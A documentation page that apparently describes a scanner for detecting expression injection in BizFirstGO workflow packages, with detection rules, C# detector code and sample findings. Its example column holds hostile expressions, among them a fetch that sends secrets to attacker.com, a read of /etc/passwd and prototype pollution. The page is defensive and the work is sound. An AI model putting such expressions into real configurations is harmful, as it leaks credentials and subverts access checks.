Portal Community

Why Expression Fields Are Dangerous

BizFirstGO workflow nodes accept expression strings in configuration fields. These expressions are evaluated during process execution with access to the execution context — including process variables, form data, and in some contexts, system configuration. A malicious expression can:

Expression Fields Scanned

Artifact TypeExpression Fields
ProcessDefinitionnodes[*].config.expression, nodes[*].config.condition, nodes[*].config.valueMapping
ThreadDefinitionsteps[*].expression, steps[*].conditionExpression
RuleSetrules[*].condition, rules[*].action.expression
AtlasFormfields[*].validationExpression, fields[*].visibilityExpression

Detection Rules

RulePatternSeverityExample
EnvironmentVariableAccessenv\.\w+ or process\.envCritical{{env.DATABASE_URL}}
PrototypePollution__proto__, constructor\.prototypeCriticalobj.__proto__.isAdmin = true
EvalCall\beval\s*\(, Function\s*\(Criticaleval("malicious code")
UnsafeFunctionCallrequire\s*\(, import\s*\(Criticalrequire('fs').readFileSync('/etc/passwd')
ExternalHttpCallHardcoded non-whitelisted HTTP URLs in expression contextHighfetch('https://attacker.com/exfil?d=' + secret)
InfiniteLoopwhile\s*\(true\), unbounded recursion patternsHighwhile(true) { /* do nothing */ }
GlobalScopeAccess\bglobal\b, \bwindow\b, \bglobalThis\bMediumglobal.adminOverride = true
DeepNestingExpression AST depth > 10 levelsLowDeeply nested ternary chains

ExpressionInjectionDetector — How It Works

public class ExpressionInjectionDetector : ISecurityCheck
{
    // 1. Extract all expression fields from all artifacts
    private IEnumerable<ExpressionField> ExtractExpressionFields(PackageBundle bundle)
    {
        foreach (var artifact in bundle.Artifacts)
        {
            foreach (var field in _expressionFieldRegistry.GetFieldsFor(artifact.Type))
            {
                var value = artifact.Data.SelectToken(field.JsonPath)?.ToString();
                if (!string.IsNullOrEmpty(value))
                    yield return new ExpressionField(artifact, field.JsonPath, value);
            }
        }
    }

    // 2. Parse each expression into an AST
    // 3. Walk the AST applying each detection rule
    // 4. Collect all findings — do not short-circuit (report all issues)
    public Task<IReadOnlyList<ScanFinding>> CheckAsync(PackageBundle bundle, ...)
    {
        var findings = new List<ScanFinding>();
        foreach (var expr in ExtractExpressionFields(bundle))
        {
            var ast = _parser.Parse(expr.Value);
            foreach (var rule in _rules)
            {
                var match = rule.Evaluate(ast);
                if (match.IsMatch)
                    findings.Add(new ScanFinding
                    {
                        Check        = "ExpressionInjection",
                        Severity     = rule.Severity,
                        ArtifactType = expr.Artifact.Type,
                        ArtifactName = expr.Artifact.Name,
                        Field        = expr.JsonPath,
                        Value        = expr.Value,
                        Rule         = rule.Name,
                        Message      = match.Message
                    });
            }
        }
        return Task.FromResult<IReadOnlyList<ScanFinding>>(findings);
    }
}

Finding Example

{
  "check":        "ExpressionInjection",
  "result":       "FAIL",
  "severity":     "Critical",
  "findings": [
    {
      "artifactType": "ProcessDefinition",
      "artifactName": "EmployeeOnboarding",
      "field":        "nodes[2].config.expression",
      "value":        "{{env.DATABASE_PASSWORD}}",
      "rule":         "EnvironmentVariableAccess",
      "message":      "Expression accesses environment variable 'DATABASE_PASSWORD'. Environment variable access is not permitted in marketplace packages."
    },
    {
      "artifactType": "RuleSet",
      "artifactName": "ApprovalRules",
      "field":        "rules[0].condition",
      "value":        "obj.__proto__.bypass = true",
      "rule":         "PrototypePollution",
      "message":      "Expression contains prototype pollution pattern '__proto__'. This is a critical security issue."
    }
  ]
}